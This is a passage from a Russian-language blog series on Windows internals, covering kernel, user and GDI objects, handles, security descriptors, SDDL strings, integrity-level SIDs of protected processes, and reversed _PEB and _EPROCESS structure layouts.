Здесь следует упомянуть одно интересное правило, которое Microsoft оставила в целях контроля над ОС (ведь не имея доступа к системе, контроль над ОС будет утерян полностью).
Как вы заметили RID повышается с определенным шагом, равным 0x1000. Этот шаг необходимо повышать равномерно.

Но вот что необычно: SID S-1-16-28672 определен как 0x7000 и по отношению к SID S-1-16-20480 это два шага.
Здесь либо существует какой-то скрытый от посторонних глаз SID, либо Microsoft сознательно запретила абсолютно любой доступ к безопасным процессам.

Интерес вызвал у меня SECURITY_MANDATORY_PROTECTED_PROCESS_RID .
Как я не искал эту метку, найти средствами, предоставленными Microsoft, я не смог.
Для примера, откроем WinDbg и проверим SACL процесса System (ядра операционной системы):

Посмотрите на его SID, он равен S-1-16-16384, что соответствует SECURITY_MANDATORY_SYSTEM_RID.
Но данный процесс в Windows Vista и более новых ОС является не просто системным, а полностью защищенным (хоть и без метки PS_PROTECTED_TYPE в Vista, 7 и 8), и по всей логике должен иметь SID S-1-16-20480.

Я внёс некоторые изменения в механизм распознавания SID таких процессов в KernelExplorer, пока только в консольную версию, и это не полная реализация (как видите отсутствует доступ к некоторым частям SACL):

Повторюсь, так вижу я представление защищенных процессов. Почему ядерные API этого не видят, я не знаю.
Как видите KernelExplorer определил SID процесса System как S-1-16-20480 и соответственно SECURITY_MANDATORY_PROTECTED_PROCESS_RID .
У потоков процесса нужно делать наследование токена, чтобы определить SID. Но как правило он такой же как и у родительского процесса.

И приведу ещё один скриншот - механизм распознавания SID у незащищенного процесса lsass.exe, который является системным

Здесь всё правильно: процесс без защиты и он системный, соответственно SID S-1-16-16384.

И вот что я думаю по этому поводу - доступа у отладчика к SECURITY_MANDATORY_PROTECTED_PROCESS_RID нет.
А ACL он просто вычисляет от указателя на PSECURITY_DESCRIPTOR.
Делается это следующим образом, рассмотрим пример:

Code
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
PROCESS_SECURITY_DESCRIPTOR: 0x0000000000355AE0 (length: 136 bytes)
{
    SID_REVISION: 1 (field: 1 byte)
    Sbz1: 0 (field: 1 byte)
    Flags: SE_SELF_RELATIVE | SE_SACL_AUTO_INHERITED | SE_SACL_PRESENT | SE_DACL_PRESENT (field: 2 bytes)
    Offset group: 0x0000000000355B04 (field: 4 bytes)
    Offset owner: 0x0000000000355AF4 (field: 4 bytes)
    Offset SACL: 0x0000000000355B4C (field: 4 bytes)
    Offset DACL: 0x0000000000355B10 (field: 4 bytes)
    SID group: S-1-5-18 >> NT AUTHORITY\система (length: 12 bytes)
    SID owner: S-1-5-32-544 >> BUILTIN\Администраторы (length: 16 bytes)
 
    SACL_REVISION: 2
    SACL Sbz1: 0
    SACL size: 28 bytes
    SACL:ACE count: 1
        SACL:ACE[0].address: 0x0000000000355B54
            SACL:ACE[0].AceType: SYSTEM_MANDATORY_LABEL_ACE_TYPE
            SACL:ACE[0].AceFlag: 0
            SACL:ACE[0].AceSize: 20 bytes
            SACL:ACE[0].Mask: 0x3
            SACL:ACE[0]->SID: S-1-16-16384
            SACL:ACE[0]->RID: ML_SYSTEM
    SACL Sbz2: 0
 
    DACL_REVISION: 2
    DACL Sbz1: 0
    DACL size: 60 bytes
    DACL:ACE count: 2
        DACL:ACE[0].address: 0x0000000000355B18
            DACL:ACE[0].AceType: ACCESS_ALLOWED_ACE_TYPE
            DACL:ACE[0].AceFlag: 0
            DACL:ACE[0].AceSize: 20 bytes
            DACL:ACE[0].Mask: 0x1fffff
            DACL:ACE[0]->SID: S-1-5-18
        DACL:ACE[1].address: 0x0000000000355B2C
            DACL:ACE[1].AceType: ACCESS_ALLOWED_ACE_TYPE
            DACL:ACE[1].AceFlag: 0
            DACL:ACE[1].AceSize: 24 bytes
            DACL:ACE[1].Mask: 0x121411
            DACL:ACE[1]->SID: S-1-5-32-544
    DACL Sbz2: 0
}

К указателю PSECURITY_DESCRIPTOR нужно прибавить размеры SID_REVISION, Sbz1, Flags, все Offset'ы и все SID'ы, размер SIZE_T, а также DACL size.
0x0000000000355AE0 + 1 + 1 + 2 + 4 + 4 + 4 + 4 + 12 (1-5-18 = 4 + 4 + 4 = 12 -> каждая цифра это 4 байта (int)) + 16 (1-5-32-544 = 4 + 4 + 4 + 4 = 16 -> каждая цифра это 4 байта (int)) + 8 (для x64 sizeof(SIZE_T) равен 8) (именно здесь появляется указатель на начало DACL = 0x0000000000355B18) + 60 (DACL size: 60 bytes) = 0x0000000000355B54 (указатель на начало SACL).

Небольшое дополнение.
Разработчик WinObjEx (аналога WinObj от Руссиновича, но с более широким набором инструментов (впрочем как и ProcessHacker куда круче, чем ProcessExplorer))
также считает, что у системных процессов (в частности ядра ОС - ntoskrnl.exe) уровень целостности должен быть ML_PROTECTED_PROCESS
Соответственно в программу внесены изменения, с помощью которых можно определять уровень целостности того или иного процесса

Объекты операционной системы. Часть 4: Отладчик уровня ядра WinDbg

Объекты операционной системы. Часть 2: Объект ядра

_lunar_ — Tue, 16 Nov 2021 09:22:16 GMT

Объекты операционной системы. Часть 1: Общие сведения

Больший интерес из всех трёх групп объектов представляет категория объект ядра.
Рассмотрим более подробно Kernel object.

Каждый объект ядра - это блок памяти, выделенный ядром ОС и доступный только ядру ОС.
Этот блок памяти представляет собой структуру данных, члены которой хранят информацию об объекте (дескриптор безопасности, счетчик использования и т.д.).
Некоторые члены этих структур одинаковы для всех типов объектов, но большинство относятся к конкретному типу объекта.
Например, объект процесса имеет идентификатор процесса, базовый приоритет и код выхода, тогда как объект файла имеет байтовое смещение, режим sharing mode и режим open mode.
Поскольку структуры данных объекта ядра доступны только ядру ОС, приложение не может найти эти структуры данных в памяти и напрямую изменить их содержимое.
Windows API предлагает набор функций, которые документированными способами взаимодействуют с этими структурами.
Когда используется функция, которая создает объект ядра, она возвращает дескриптор, который идентифицирует объект.
Передавая этот дескриптор различным функциям Windows, система точно знает с каким объектом ядра необходимо взаимодействовать.

Объекты ядра принадлежат ядру ОС, а не процессу.
Процесс вызывает функцию, которая создает объект ядра. Если процесс завершается, объект ядра не обязательно уничтожается.
Если другой процесс использует данный объект ядра, ОС знает, что нельзя уничтожать этот объект, пока другой процесс не перестанет его использовать.
Для этого в ОС предусмотрен счетчик использования. Когда объект ядра создается впервые, его счетчик использования устанавливается на 1.
Затем, когда другой процесс получает доступ к существующему объекту ядра, счетчик использования увеличивается на единицу.
Когда процесс завершается, ядро ОС автоматически уменьшает счетчик использования для всех объектов ядра на единицу.
Если счетчик использования объекта становится равным 0, ядро ОС уничтожает объект.

Дескриптор безопасности (Security Descriptor).
Объекты ядра могут быть защищены дескриптором безопасности.
Почти все функции, которые создают объекты ядра, имеют указатель на структуру SECURITY_ATTRIBUTES в качестве аргумента.
Именно этим и отличается Kernel object от других категорий (ни у User object, ни у GDI object нет дескрипторов безопасности).

Более подробно что из себя представляет дескриптор безопасности рассмотрим на примере функции CreateProcess

C++
1
2
3
4
5
6
7
8
9
10
11
12
BOOL CreateProcessW(
  [in, optional]      LPCWSTR               lpApplicationName,
  [in, out, optional] LPWSTR                lpCommandLine,
  [in, optional]      LPSECURITY_ATTRIBUTES lpProcessAttributes,
  [in, optional]      LPSECURITY_ATTRIBUTES lpThreadAttributes,
  [in]                BOOL                  bInheritHandles,
  [in]                DWORD                 dwCreationFlags,
  [in, optional]      LPVOID                lpEnvironment,
  [in, optional]      LPCWSTR               lpCurrentDirectory,
  [in]                LPSTARTUPINFOW        lpStartupInfo,
  [out]               LPPROCESS_INFORMATION lpProcessInformation
);

Большинство приложений просто передают NULL для этого аргумента, поэтому объект ядра создается с безопасностью по умолчанию.
Безопасность по умолчанию означает, что любой пользователь группы администраторов и создатель объекта ядра имеют определённый доступ к создаваемому объекту, всем остальным доступ запрещен.
Структура SECURITY_ATTRIBUTES описывается следующим образом

C++
1
2
3
4
5
typedef struct _SECURITY_ATTRIBUTES {
  DWORD  nLength;
  LPVOID lpSecurityDescriptor;
  BOOL   bInheritHandle;
} SECURITY_ATTRIBUTES, *PSECURITY_ATTRIBUTES, *LPSECURITY_ATTRIBUTES;

Несмотря на то, что эта структура называется SECURITY_ATTRIBUTES, на самом деле она включает только один член, имеющий какое-либо отношение к безопасности: lpSecurityDescriptor.
Если требуется ограничить доступ к создаваемому объекту ядра, необходимо создать дескриптор безопасности, а затем инициализировать структуру SECURITY_ATTRIBUTES следующим образом:

C++
1
2
3
4
5
6
7
8
9
10
PSECURITY_DESCRIPTOR pProcessSecurityDescriptor, pThreadSecurityDescriptor;
 
SECURITY_ATTRIBUTES ProcessAttributes{ sizeof(SECURITY_ATTRIBUTES) };
ProcessAttributes.lpSecurityDescriptor = pProcessSecurityDescriptor;
 
SECURITY_ATTRIBUTES ThreadAttributes{ sizeof(SECURITY_ATTRIBUTES) };
ThreadAttributes.lpSecurityDescriptor = pThreadSecurityDescriptor;
 
CreateProcess(ApplicationName, nullptr, &ProcessAttributes, &ThreadAttributes,
    FALSE, CREATE_SUSPENDED, nullptr, nullptr, &StartupInfo, &ProcInfo);

*PSECURITY_DESCRIPTOR в данном случае определен как LPVOID, не путайте со структурой PISECURITY_DESCRIPTOR

Существуют два способа получить инициализированный Security Descriptor:
- наследовать уже созданный дескриптор безопасности другим процессом
- сформировать специальную строку типа SDDL (Security Descriptor Definition Language) и конвертировать её в указатель с помощью функции ConvertStringSecurityDescriptorToSecurit yDescriptor

C++
1
2
3
4
5
6
BOOL ConvertStringSecurityDescriptorToSecurityDescriptorW(
  [in]  LPCWSTR              StringSecurityDescriptor,
  [in]  DWORD                StringSDRevision,
  [out] PSECURITY_DESCRIPTOR *SecurityDescriptor,
  [out] PULONG               SecurityDescriptorSize
);

Рассмотрим следующую SDDL строку

C++
1
2
LPCWSTR StringSecurityDescriptor = TEXT("O:BAG:BAD:(A;;CCDCLCSWRP;;;SY)(A;;CCDCLCSWRP;;;BA)"
    "(A;;CCDCLCSWRP;;;IU)(A;;CCDCLCSWRP;;;LS)(A;;0xb;;;AC)S:(ML;;NX;;;LW)");

Первое на что необходимо обратить внимание - это на двоеточие, оно служит разделением для групп

Code
1
2
3
4
O:owner_sid
G:group_sid
D:(string_ace1)(string_ace2)... (string_aceN)
S:(string_ace1)(string_ace2)... (string_aceN)

Каждый string_ace заключен в круглые скобки и имеет следующую структуру:

Code
1
(ace_type;ace_flags;rights;object_guid;inherit_object_guid;account_sid)

Допустимые типы ace_type

Разрешенные ace_flags

Набор rights (общие права, права доступа к файлам и папкам, особые права реестра и сервисов)

object_guid и inherit_object_guid используются для определения безопасности объектов в Active Directory.
Они не используются при защите файловой системы или реестра. «OA» и «OD» в поле ace_type строки ACE соответствуют ACE, разрешающему и запрещающему объект, соответственно.
В этом случае object_guid содержит GUID объекта, которому разрешено, а inherit_object_guid содержит GUID объекта, от которого он наследует разрешения.

Поле account_sid в структуре ACE обозначает участника безопасности, которому предоставлены или запрещены права доступа, указанные в ACE.
Поле account_sid может содержать SID, который представляет собой длинный структурированный идентификатор, который практически не имеет смысла для человека, или сокращенное обозначение «строка SID» для обычной учетной записи

Список SID строк можно расшифровать на сайте MSDN
Список ACE строк можно расшифровать на сайте MSDN

Таким образом:
O:BA - владелец (Owner) данного дескриптора безопасности является SDDL_BUILTIN_ADMINISTRATORS (DOMAIN_ALIAS_RID_ADMINS)
G:BA - группа (Group), в которую входит дескриптор безопасности, также является SDDL_BUILTIN_ADMINISTRATORS (DOMAIN_ALIAS_RID_ADMINS)

Список управления доступом на уровне пользователя DACL (Discretionary Access Control List)
D:(A;;CCDCLCSWRP;;;SY)(A;;CCDCLCSWRP;;;BA)(A;;CCDCLCSWRP;;;IU)(A;;CCDCLCSWRP;;;LS)(A;;0xb;;;AC)

И системный список управления доступом SACL (System Access Control List)
S:(ML;;NX;;;LW)

Следовательно для первой части DACL получается следующая расшифровка (данный DACL относится к группе Directory service object):
A - SDDL_ACCESS_ALLOWED (флаг ACCESS_ALLOWED_ACE_TYPE)
CC - SDDL_CREATE_CHILD (флаг ADS_RIGHT_DS_CREATE_CHILD)
DC - SDDL_DELETE_CHILD (флаг ADS_RIGHT_DS_DELETE_CHILD)
LC - SDDL_LIST_CHILDREN (флаг ADS_RIGHT_ACTRL_DS_LIST)
SW - SDDL_SELF_WRITE (флаг ADS_RIGHT_DS_SELF)
RP - SDDL_READ_PROPERTY (флаг ADS_RIGHT_DS_READ_PROP)
SY - SDDL_LOCAL_SYSTEM (SECURITY_LOCAL_SYSTEM_RID)

и для SACL
ML - SDDL_MANDATORY_LABEL (флаг SYSTEM_MANDATORY_LABEL_ACE_TYPE)
NX - SDDL_NO_EXECUTE_UP (флаг SYSTEM_MANDATORY_LABEL_NO_EXECUTE_UP)
LW - Low Mandatory Level (SID S-1-16-4096)

Метки целостности

Моя программа KernelExplorer (её консольная версия) выводит всю возможную информацию об ACL

По мере нахождения новых комбинаций ACE флагов я обновляю код, поэтому возможно заместо текстового представления флагов будет отображаться его цифровое представление.
*В данный момент занят адаптацией информации о ACL для GUI версии.

Таблица дескрипторов объекта ядра процесса.
В первой части я вскользь упомянул, что каждый дескриптор имеет записи во внутренней таблице, которые содержат адреса ресурсов и средства идентификации типа ресурса.
Когда процесс инициализируется, система выделяет для него таблицу дескрипторов.
Эта таблица дескрипторов используется только для объектов ядра, User object или GDI object не имеют доступа к ней.
Подробности того, как структурирована и управляется таблица дескрипторов не документированы.
Но при этом, структуру таблицы дескрипторов процесса схематично можно представить следующим образом

Code
1
2
3
4
5
Index   Pointer to Kernel Object Memory Block   Access Mask Flags
1   0x0000000000000000                  0x00000000  0x00000000
2   0x0000000000000000                  0x00000000  0x00000000
...
n   0x0000000000000000                  0x00000000  0x00000000

Каждая структура содержит указатель на объект ядра, маску доступа и набор флагов.
При первой инициализации процесса его таблица дескрипторов пуста.
Затем, когда поток в процессе вызывает функцию, которая создает объект ядра, ядро ОС выделяет блок памяти для объекта и инициализирует его.
Ядро ОС сканирует таблицу дескрипторов процесса на наличие пустой записи.
Для указателя будет установлен адрес внутренней памяти структуры данных объекта ядра.
Для маски доступа будет установлен гарантированный доступ (granted access).
Набор флагов соответственно устанавливается из переданного Security Descriptor, а в случае NULL - устанавливается безопасность по умолчанию.

Все функции, создающие объекты ядра, возвращают относительные к процессу дескрипторы.
Это значение дескриптора является индексом в таблице дескрипторов процесса, который определяет, где хранится информация об объекте ядра.
Когда вызывается функция, которая принимает дескриптор объекта ядра в качестве аргумента, происходит передача значения.
Внутри функция просматривает таблицу дескрипторов процесса, чтобы получить адрес объекта ядра, с которым необходимо взаимодействовать.

Пулы памяти.
Выгружаемый и невыгружаемый пулы служат ресурсами памяти, которые ОС использует для хранения своих структур данных.
Невыгружаемый пул (Non-paged pool) - используется операционной системой для хранения данных.
Ядро ОС взаимодействует с невыгружаемым пулом когда выполняются подпрограммы обслуживания прерываний (ISR) и отложенные вызовы процедур (DPC), которые являются функциями, связанными с прерываниями.
Примерами могут служить такие системные прерывания, как переключение режима UserMode в KernelMode - syscall либо sysenter (в Windows XP данное прерывание обозначалось int 2e и в ntdll.dll сохранилось в качестве совместимости с более старым ПО).
Невыгружаемый пул расположен только в физической памяти, а виртуальной памяти невыгружаемого пула назначается физическая память.
Общие системные структуры данных, хранящиеся в невыгружаемом пуле, включают ядро ОС и объекты ядра, которые представляют процессы, потоки, мьютексы, семафоры, события, файловые объекты, IRP и др.
Выгружаемый пул (Paged pool) - буфер памяти операционной системы, куда записываются данные файла подкачки, позволяя переориентировать физическую память.
Когда ОС обращается к памяти выгружаемого пула, которая находится в файле подкачки, происходит системное исключение Page fault, и затем диспетчер памяти считывает данные обратно в физическую память.
Из всех объектов ядра реестр (Registry) является основным программным средством, использующим выгружаемый пул.

Важно понимать, что к физической памяти из пользовательского режима доступа нет.
Также как системные потоки не имеют адресного пространства пользовательского режима.
Физической памятью оперирует только ядро ОС, пользователю для этого отведено виртуальное адресное пространство.
Взаимодействие виртуального адресного пространства с физической памятью осуществляется пулами и кучами (Heap) и только функциями ядра ОС.
Поэтому, выделяя память какой-нибудь VirtualAlloc (или любой другой аналогичной функцией), вы даже близко не находитесь к оперативной памяти, физически установленной в компьютере.

Для саморазвития:
неплохая статья от Джона Р. Миченера - "Понимание прав доступа к файлам и реестру Windows"

Объекты операционной системы. Часть 3: Уровень целостности

PS: если интересно, параллельно я веду тему в разделе Windows 11 по исследованию комплекса безопасности Windows Как работает комплекс мер Безопасность Windows

Объекты операционной системы. Часть 1: Общие сведения

_lunar_ — Thu, 11 Nov 2021 21:09:50 GMT

В этом блоге я решил затронуть такую тему, как объекты операционной системы семейства Windows.
Очень часто начинающие программисты, да и обычные пользователи, не могут прийти к пониманию - что есть объект и для чего нужен дескриптор объекта.
Материал даётся с учётом того, читающий данный блог уверенно разбирается в языках программирования C и C++, а также знает основы внутренней архитектуры ОС Windows.

Начнём с определения объекта.
Объект - это структура данных, расположенная в памяти, которая представляет собой ресурсы системы.
Объектами можно считать: файл, поток, токен, окно, таймер и др.
Современные операционные системы (да и процессоры со своими режимами real mode, protected mode и т.д.) устроены таким образом, что приложение не может напрямую обратиться к данным объекта или системному ресурсу.
Каждый объект имеет свой собственный список управления доступом (ACL*), определяющий действия, которые процесс может выполнять над объектом.
*Система проверяет ACL объекта каждый раз, когда приложение создает дескриптор объекта.

Чтобы обратиться к данным объекта нужен некий контейнер, который будет служить своего рода описателем между тем, что хранится в объекте и тем, что запрашивает приложение* от системного ресурса этого объекта.
*Простой пример - чтение виртуальной памяти какого-либо процесса по определенному адресу.

Этим описателем является дескриптор.
Дескриптор - это описатель (контейнер) процесса, который содержит идентификатор процесса, область памяти, где размещен сегмент кода, данные приоритетности процесса, данные о состоянии процесса.
Каждый дескриптор имеет запись во внутренней таблице. Эти записи содержат адреса ресурсов и средства идентификации типа ресурса.

Существуют три группы (категории) объектов:
- User object (пользовательский объект)
- GDI object (объект графического интерфейса (или объект GDI))
- Kernel object (объект ядра)
Система использует пользовательские объекты для управления окнами, объекты GDI для графики, а объекты ядра для управления памятью, выполнения процессов и межпроцессного взаимодействия (IPC).
К пользовательским объектам можно отнести: Hook, Icon, Menu, Window и др.
К объект графического интерфейса относятся: Bitmap, Brush, Font, Pen, Metafile и др.
К объектам ядра - Token, Desktop, Event, File, Heap, Module, Mutex, Pipe, Process, Thread, Semaphore, Window station и др.

Разберёмся в основах каждой категории в отдельности.
User object. Объекты пользовательского интерфейса поддерживают только один дескриптор для каждого объекта.
Процессы не могут наследовать или дублировать дескрипторы пользовательских объектов.
Процессы в одном сеансе (session 1)* не могут ссылаться на дескриптор пользователя в другом сеансе (session 2).
*Более подробно о сессиях (сеансах) можно прочитать в моих предыдущих блогах по исследованию сервиса UI0Detect.

Дескрипторы пользовательских объектов общедоступны для всех процессов.
Любой процесс может использовать дескриптор объекта пользователя при условии, что у процесса есть безопасный доступ (security access) к объекту.
Схематично объект и его дескриптор можно представить следующим образом:

Функция CreateWindow

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
HWND CreateWindowW(
  [in, optional] LPCWSTR   lpClassName,
  [in, optional] LPCWSTR   lpWindowName,
  [in]           DWORD     dwStyle,
  [in]           int       X,
  [in]           int       Y,
  [in]           int       nWidth,
  [in]           int       nHeight,
  [in, optional] HWND      hWndParent,
  [in, optional] HMENU     hMenu,
  [in, optional] HINSTANCE hInstance,
  [in, optional] LPVOID    lpParam
);

создает объект окна (Window object) и возвращает дескриптор объекта (Handle).
Как можно видеть Window object хранится в ресурсах системы (в данном случае в виртуальной памяти).
После создания объекта окна приложение может использовать дескриптор окна (Handle) для отображения и\или изменения окна.
Дескриптор остается действительным до тех пор, пока объект окна не будет уничтожен функцией DestroyWindow.
Типичным примером пользовательского объекта могут служить данные процесса уровня UserMode.
В таком случае, объектом выступает структура _PEB (реверс ядра (lkd> dt nt!_PEB) Windows 11 сборка 10.0.22000.318, формат данной структуры меняется от версии к версии ОС Windows)

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
typedef struct _PEB
{
    BOOLEAN InheritedAddressSpace;
    BOOLEAN ReadImageFileExecOptions;
    BOOLEAN BeingDebugged;
    union {
        BOOLEAN BitField;
        struct {
            BOOLEAN ImageUsesLargePages : 1;
            BOOLEAN IsProtectedProcess : 1;
            BOOLEAN IsImageDynamicallyRelocated : 1;
            BOOLEAN SkipPatchingUser32Forwarders : 1;
            BOOLEAN IsPackagedProcess : 1;
            BOOLEAN IsAppContainer : 1;
            BOOLEAN IsProtectedProcessLight : 1;
            BOOLEAN IsLongPathAwareProcess : 1;
        };
    };
    HANDLE Mutant;
    PVOID ImageBaseAddress;
    PPEB_LDR_DATA Ldr;
    PRTL_USER_PROCESS_PARAMETERS ProcessParameters;
    PVOID SubSystemData;
    PVOID ProcessHeap;
    PRTL_CRITICAL_SECTION FastPebLock;
    PSLIST_HEADER AtlThunkSListPtr;
    PVOID IFEOKey;
    union {
        ULONG CrossProcessFlags;
        struct {
            ULONG ProcessInJob : 1;
            ULONG ProcessInitializing : 1;
            ULONG ProcessUsingVEH : 1;
            ULONG ProcessUsingVCH : 1;
            ULONG ProcessUsingFTH : 1;
            ULONG ProcessPreviouslyThrottled : 1;
            ULONG ProcessCurrentlyThrottled : 1;
            ULONG ProcessImagesHotPatched : 1;
            ULONG ReservedBits0 : 24;
        };
    };
    union {
        PVOID KernelCallbackTable;
        PVOID UserSharedInfoPtr;
    };
    ULONG SystemReserved;
    ULONG AtlThunkSListPtr32;
    PVOID ApiSetMap;
    ULONG TlsExpansionCounter;
    PRTL_BITMAP TlsBitmap;
    ULONG TlsBitmapBits[2];
    PVOID ReadOnlySharedMemoryBase;
    PVOID SharedData;
    PVOID* ReadOnlyStaticServerData;
    PVOID AnsiCodePageData;
    PVOID OemCodePageData;
    PVOID UnicodeCaseTableData;
    ULONG NumberOfProcessors;
    ULONG NtGlobalFlag;
    LARGE_INTEGER CriticalSectionTimeout;
    SIZE_T HeapSegmentReserve;
    SIZE_T HeapSegmentCommit;
    SIZE_T HeapDeCommitTotalFreeThreshold;
    SIZE_T HeapDeCommitFreeBlockThreshold;
    ULONG NumberOfHeaps;
    ULONG MaximumNumberOfHeaps;
    PVOID* ProcessHeaps;
    PVOID GdiSharedHandleTable;
    PVOID ProcessStarterHelper;
    ULONG GdiDCAttributeList;
    PRTL_CRITICAL_SECTION LoaderLock;
    ULONG OSMajorVersion;
    ULONG OSMinorVersion;
    USHORT OSBuildNumber;
    USHORT OSCSDVersion;
    ULONG OSPlatformId;
    ULONG ImageSubsystem;
    ULONG ImageSubsystemMajorVersion;
    ULONG ImageSubsystemMinorVersion;
    SIZE_T ActiveProcessAffinityMask;
    ULONG GdiHandleBuffer[60];
    PVOID PostProcessInitRoutine;
    PRTL_BITMAP TlsExpansionBitmap;
    ULONG TlsExpansionBitmapBits[32];
    ULONG SessionId;
    ULARGE_INTEGER AppCompatFlags;
    ULARGE_INTEGER AppCompatFlagsUser;
    PVOID pShimData;
    PVOID AppCompatInfo;
    UNICODE_STRING CSDVersion;
    PACTIVATION_CONTEXT_DATA ActivationContextData;
    PASSEMBLY_STORAGE_MAP ProcessAssemblyStorageMap;
    PACTIVATION_CONTEXT_DATA SystemDefaultActivationContextData;
    PASSEMBLY_STORAGE_MAP SystemAssemblyStorageMap;
    SIZE_T MinimumStackCommit;
    PVOID SparePointers[2];
    PVOID PatchLoaderData;
    PCHPEV2_PROCESS_INFO ChpeV2ProcessInfo;
    ULONG AppModelFeatureState;
    ULONG SpareUlongs[2];
    USHORT ActiveCodePage;
    USHORT OemCodePage;
    USHORT UseCaseMapping;
    USHORT UnusedNlsField;
    PVOID WerRegistrationData;
    PVOID WerShipAssertPtr;
    PVOID EcCodeBitMap;
    PVOID pImageHeaderHash;
    union {
        ULONG TracingFlags;
        struct {
            ULONG HeapTracingEnabled : 1;
            ULONG CritSecTracingEnabled : 1;
            ULONG LibLoaderTracingEnabled : 1;
            ULONG SpareTracingBits : 29;
        };
    };
    SIZE_T CsrServerReadOnlySharedMemoryBase;
    SIZE_T TppWorkerpListLock;
    LIST_ENTRY TppWorkerpList;
    PVOID WaitOnAddressHashTable[128];
    PVOID TelemetryCoverageHeader;
    ULONG CloudFileFlags;
    ULONG CloudFileDiagFlags;
    CHAR PlaceholderCompatibilityMode;
    CHAR PlaceholderCompatibilityModeReserved[7];
    PLEAP_SECOND_DATA LeapSecondData;
    union {
        ULONG LeapSecondFlags;
        struct {
            ULONG SixtySecondEnabled : 1;
            ULONG Reserved : 31;
        };
    };
    ULONG NtGlobalFlag2;
    SIZE_T ExtendedFeatureDisableMask;
} PEB, * PPEB;

GDI object. Объекты GDI поддерживают только один дескриптор для каждого объекта.
Дескрипторы объектов GDI являются частными для процесса - только процесс, создавший объект GDI, может использовать дескриптор объекта.
Такие функции как CreateFont создают структуру данных в виртуальной памяти для объекта (в данном случае объект шрифта) и возвращают дескриптор для взаимодействия с созданным объектом.
Дескриптор остается действительным до тех пор, пока объект GDI не будет уничтожен функцией DeleteObject.

Kernel object. Дескрипторы объектов ядра зависят от процесса. То есть процесс должен либо создать объект, либо открыть существующий объект, чтобы получить дескриптор объекта ядра.
Любой процесс может создать новый дескриптор существующего объекта ядра (даже созданного другим процессом) при условии, что процесс знает имя объекта и имеет безопасный доступ (security access) к объекту.
Дескрипторы объектов ядра включают права доступа, которые могут быть разрешены или запрещены процессу.
Приложение определяет права доступа при создании объекта или получении дескриптора существующего объекта.
Каждый тип объекта ядра поддерживает свой собственный набор прав доступа*.
*Например, дескрипторы файлов могут иметь доступ для чтения и\или записи.

Примером объекта ядра могут служить данные процесса уровня KernelMode.
В таком случае, объектом выступает структура _EPROCESS (реверс ядра (lkd> dt nt!_EPROCESS) Windows 11 сборка 10.0.22000.318, формат данной структуры меняется от версии к версии ОС Windows)

C++
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
typedef struct _EPROCESS
{
    KPROCESS Pcb;
    EX_PUSH_LOCK ProcessLock;
    PVOID UniqueProcessId;
    LIST_ENTRY ActiveProcessLinks;
    EX_RUNDOWN_REF RundownProtect;
    union {
        ULONG Flags2;
        struct {
            ULONG JobNotReallyActive : 1;
            ULONG AccountingFolded : 1;
            ULONG NewProcessReported : 1;
            ULONG ExitProcessReported : 1;
            ULONG ReportCommitChanges : 1;
            ULONG LastReportMemory : 1;
            ULONG ForceWakeCharge : 1;
            ULONG CrossSessionCreate : 1;
            ULONG NeedsHandleRundown : 1;
            ULONG RefTraceEnabled : 1;
            ULONG PicoCreated : 1;
            ULONG EmptyJobEvaluated : 1;
            ULONG DefaultPagePriority : 3;
            ULONG PrimaryTokenFrozen : 1;
            ULONG ProcessVerifierTarget : 1;
            ULONG RestrictSetThreadContext : 1;
            ULONG AffinityPermanent : 1;
            ULONG AffinityUpdateEnable : 1;
            ULONG PropagateNode : 1;
            ULONG ExplicitAffinity : 1;
            ULONG ProcessExecutionState : 2;
            ULONG EnableReadVmLogging : 1;
            ULONG EnableWriteVmLogging : 1;
            ULONG FatalAccessTerminationRequested : 1;
            ULONG DisableSystemAllowedCpuSet : 1;
            ULONG ProcessStateChangeRequest : 2;
            ULONG ProcessStateChangeInProgress : 1;
            ULONG InPrivate : 1;
        };
    };
    union {
        ULONG Flags;
        struct {
            ULONG CreateReported : 1;
            ULONG NoDebugInherit : 1;
            ULONG ProcessExiting : 1;
            ULONG ProcessDelete : 1;
            ULONG ManageExecutableMemoryWrites : 1;
            ULONG VmDeleted : 1;
            ULONG OutswapEnabled : 1;
            ULONG Outswapped : 1;
            ULONG FailFastOnCommitFail : 1;
            ULONG Wow64VaSpace4Gb : 1;
            ULONG AddressSpaceInitialized : 2;
            ULONG SetTimerResolution : 1;
            ULONG BreakOnTermination : 1;
            ULONG DeprioritizeViews : 1;
            ULONG WriteWatch : 1;
            ULONG ProcessInSession : 1;
            ULONG OverrideAddressSpace : 1;
            ULONG HasAddressSpace : 1;
            ULONG LaunchPrefetched : 1;
            ULONG Background : 1;
            ULONG VmTopDown : 1;
            ULONG ImageNotifyDone : 1;
            ULONG PdeUpdateNeeded : 1;
            ULONG VdmAllowed : 1;
            ULONG ProcessRundown : 1;
            ULONG ProcessInserted : 1;
            ULONG DefaultIoPriority : 3;
